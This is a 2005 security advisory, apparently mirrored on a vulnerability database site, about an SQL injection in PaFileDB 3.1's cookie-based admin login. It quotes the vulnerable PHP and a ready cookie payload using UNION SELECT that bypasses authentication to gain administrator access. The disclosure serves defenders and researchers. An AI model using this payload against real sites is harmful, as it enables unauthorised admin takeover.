`[SePro Advisory #5] PaFileDB 3.1 - SQL-Injection
===========================================================
Vendor: PhpArena
URL: http://www.phparena.net/
Date: 17.08.05
App.: PaFileDB
Version: 3.1
Type: SQL-Injection
Risc: High
Credits:
================================
Newangels & security-project.org Team
Vulnerability discovered by deluxe89
Writeup by Astovidatu
Description:
================================
paFileDB is designed to allow webmasters have a database of files for download on their site.
See [1] for a detailed description.
SQL-Injection:
================================
The vulnerable file: '/includes/admin/auth.php'
Pre-conditions:
- magic_quotes_gpc Off
- $authmethod = cookies
Vulnerable Code:
[code]
if ($authmethod == "cookies") {
echo "authmethod = cookies\n";
$cdata = explode("|", $pafiledbcookie);
$ip = $cdata[0];
$user = $cdata[1];
$pass = $cdata[2];
echo "ip = $ip, user = $user, pass = $pass\n";
}
if (!empty($user)) {
echo "user not emtpy\n";
$admin = $pafiledb_sql->query($db, "SELECT * FROM $db[prefix]_admin WHERE admin_username = '$user'", 1);
$adminip = getenv ("REMOTE_ADDR");
$md5ip = md5($adminip);
if ($pass == $admin[admin_password] && $md5ip == $ip) {
$logged = 1;
}
} else {
echo "user empty\n";
$logged = 0;
}
[/code]
SQL-Injection through $user.
In order to exploit the issue, an attacker needs to construct a malformed cookie:
Name: pafiledbcookie
Content: [MD5 IP]%7CaG'+union+select+1,2,'pass',4,5/*%7Cpass
"/pafiledb.php?action=admin": open and your logged in as admin in the ACP.
Solution:
================================
There is no solution yet.
[1] http://www.phparena.net/scripts.php?script=pafiledb
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation